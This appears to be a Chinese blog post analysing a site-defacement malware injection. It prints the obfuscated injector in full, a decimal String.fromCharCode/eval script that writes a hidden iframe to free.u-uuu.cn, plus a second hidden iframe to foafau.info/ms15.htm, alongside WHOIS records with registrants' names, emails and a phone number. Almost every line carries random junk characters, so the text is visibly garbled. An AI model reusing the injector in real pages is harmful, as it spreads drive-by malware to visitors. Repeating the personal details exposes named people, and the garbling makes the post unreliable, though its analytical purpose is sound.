首发在我的博客里面，
ZT \=:X*e Z?7XuELKV http://www.areway.cn/?p=175 EPE9HvN [- *1M4D9 ?'@tx4#v\2 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
d1"%sI 3j]P\T <script>t=’60,105,102,114,97,109,101,
e B$ S d 32,115,114,99,61,104,116,116,112,58,47,47,
l20fA-T
_I 102,114,101,101,46,117,45,117,117,117,46,99,
Y] ZNAR 110,47,101,114,114,111,114,46,104,116,109,
Vl0
J!JK_ 32,119,105,100,116,104,61,49,48,48,32,104,
ac-R q.GQY 101,105,103,104,116,61,48,62,60,47,105,102,
m,,FNYW 114,97,109,101,62′;
YhVV~bvz* t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
VOj{&O2c l Wa4X#~. <script>t=’60,105,102,114,97,109,101,32,115,
'_n J DM 114,99,61,104,116,116,112,58,47,47,102,114,
U',9 t 101,101,46,117,45,117,117,117,46,99,110,47,
[M7& 101,114,114,111,114,46,104,116,109,32,119,
[HV>4,,3" 105,100,116,104,61,49,48,48,32,104,101,105,
2Op\`Ht & 103,104,116,61,48,62,60,47,105,102,114,97,
wcdD i[E>i 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
w;RG*rv document.write(t);</script>
\sUk71L` j u;[*Z <html xmlns=”
zi-; 7lT http://www.w3.org/1999/xhtml $ !(J4v=X “>
y2>X LELy <head>
J wkMRO <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
7(q E HZEr <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
8b^v@|)N <title>首页 - 爱生活家庭网
qB`-[A9HPe @dy<=bh~ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
_* xjG \! 转换字符串后的大概内容是（谁点击后果自付）：
A[/_}bI| <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
9{{|P = dKOW5\H' 查询玉米u-uuu.cn的详细信息：
^^ Q'AE Domain Name: u-uuu.cn
8f^QO: ROID: 20070901s10001s64972306-cn
(d L;A0L Domain Status: ok
u9 t@%H)lZ Registrant Organization: 王雷
`*A!vO8 Registrant Name: 王雷
5BL4VGwJ Administrative Email:
czlovexs@126.com Lq&;`)BJ Sponsoring Registrar: 北京万网志成科技有限公司
Au q) Name Server:ns.yovole.com
QWo_Zg0" Name Server:ns1.yovole.com
xHA6 Registration Date: 2007-09-01 17:54
b"au9:F4@7 Expiration Date: 2008-09-01 17:54
IEx`W;V]K 最后PING了一下地址 都没有什么….
Tn$/9<Q 1@ e22\ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
u x[h\Tp <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
rNdeD~\ <script language=”javascript” src=”
0I8w'/s_g9 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script pwiXA{ >
=Me94w>G3X 这个玉米应该有可能是木马作者的：
V/=NIeSE foafau.info的详细信息：
{Z529Ns Access to INFO WHOIS information is provided to assist persons in
0 > determining the contents of a domain name registration record in the
\m>m E/N Afilias registry database. The data in this record is provided by
QbF!V%+a's Afilias Limited for informational purposes only, and Afilias does not
SMMV$;O{9 guarantee its accuracy. This service is intended only for query-based
DNP %]{J access. You agree that you will use this data only for lawful purposes
|C \%H R and that, under no circumstances will you use this data to: (a) allow,
zyznFiE enable, or otherwise support the transmission by e-mail, telephone, or
z L1 *w@6 facsimile of mass unsolicited, commercial advertising or solicitations
y+ZRh?2 to entities other than the data recipient’s own existing customers; or
<Ae1YHUY (b) enable high volume, automated, electronic processes that send
:'L^zGf queries or data to the systems of Registry Operator, a Registrar, or
MH"{ N
"| Afilias except as reasonably necessary to register domain names or
Mw0Kg9M modify existing registrations. All rights reserved. Afilias reserves
z,6 X{ = the right to modify these terms at any time. By submitting this query,
x=UwyZ you agree to abide by this policy.
u afSz@ ` Domain ID:D22418703-LRMS
ICJ p- Domain Name:FOAFAU.INFO
Ez3>}E, Created On:20-Nov-2007 16:05:42 UTC
L(p{>Ykcc Last Updated On:20-Nov-2007 16:05:44 UTC
H`j s1b1n Expiration Date:20-Nov-2008 16:05:42 UTC
IfGmA.O Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
6#,VnS)`q Status:CLIENT DELETE PROHIBITED
4 CzT<cp Status:CLIENT RENEW PROHIBITED
E3pnu.;U:_ Status:CLIENT TRANSFER PROHIBITED
mfYY?]A*+ Status:CLIENT UPDATE PROHIBITED
(<= &#e? Status:TRANSFER PROHIBITED
X3C"A|HE9 Registrant ID:GODA-040110615
XHX \+&6 Registrant Name:liu hong
.{cka]9WJz Registrant Organization:
$VWe o#b Registrant Street1:beijing
H5L~[ \
5t Registrant Street2:
VtNY~ Registrant Street3:
:YL`GSl Registrant City:beijing
kRCuc}:SB Registrant State/Province:
!`u Registrant Postal Code:100000
a/9R~DwN Registrant Country:CN
?w{ lC, Registrant Phone:+86.860108888777
aOS:rC Registrant Phone Ext.:
+ _=&7 Registrant FAX:
a(+.rf; Registrant FAX Ext.:
?2Q9z-$ Registrant Email:bbbshiji@163.com
tBtG- X2 Admin ID:GODA-240110615
&f}a` /{@ Admin Name:liu hong
ZnX]Q +w Admin Organization:
*W'F 6Hpu Admin Street1:beijing
-h5yg`+1N\ Admin Street2:
Q(P'4XCm Admin Street3:
q/
x(:yol Admin City:beijing
z9@Tg= #i Admin State/Province:
.qjVw?E Admin Postal Code:100000
s 0}OsHAj Admin Country:CN
@yBg)1AL Admin Phone:+86.860108888777
&3
QdQ n, Admin Phone Ext.:
QJBzv| Admin FAX:
2 EG` Admin FAX Ext.:
*O>O HX Admin Email:bbbshiji@163.com
pEc|h*p8 Billing ID:GODA-340110615
!"*!du28jo Billing Name:liu hong
K `=O!; Billing Organization:
VDCG
5QP6( Billing Street1:beijing
'=|2, H] Billing Street2:
f0uzoeL<% Billing Street3:
0]x g E Billing City:beijing
2OXcP!\Y Billing State/Province:
@a AR99 M Billing Postal Code:100000
'A0.(a5 Billing Country:CN
k4|9'V&1*6 Billing Phone:+86.860108888777
vqq7IV)| Billing Phone Ext.:
[dm&I#m= Billing FAX:
<kQ
5 sG Billing FAX Ext.:
rJ
LlDKP-( Billing Email:bbbshiji@163.com
#cG7h( ! Tech ID:GODA-140110615
X coV27 Tech Name:liu hong
mv7><C Tech Organization:
OnNWci|7 Tech Street1:beijing
#~A (%a Tech Street2:
KeU|E<|! Tech Street3:
,o $F~KPu Tech City:beijing
e rz9CX Tech State/Province:
"<c^`#CWuO Tech Postal Code:100000
W6.
)7Y, Tech Country:CN
OH` |
c Tech Phone:+86.860108888777
'z=WJV;Vs Tech Phone Ext.:
T3HAr9i%) Tech FAX:
<qG4[W,[ Tech FAX Ext.:
08J[9a0[ Tech Email:bbbshiji@163.com
}?"}R<F|M, Name Server:NS27.DOMAINCONTROL.COM
]*I:N Name Server:NS28.DOMAINCONTROL.COM
Z`5jX;Z! Name Server:
X$o $ 8s Name Server:
?2hS<qXX Name Server:
E kb9=/ Name Server:
~ H [ Name Server:
_ZM$&6EC Name Server:
.Dn.|A Name Server:
9FB[`} Name Server:
yN9k-IPI Name Server:
'H"wu
/ # Name Server:
P5u
Y 1( Name Server:
dGxk
ql )tH.P:
1~, 接着下载每个文件里面的代码：
J~=bW \^I 一步一步看..
+_.k\CRms 
:}QBr d 
BCDmce`=l 
$XBn:0U 
tUS)1*{_ 
Vu
@2
都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
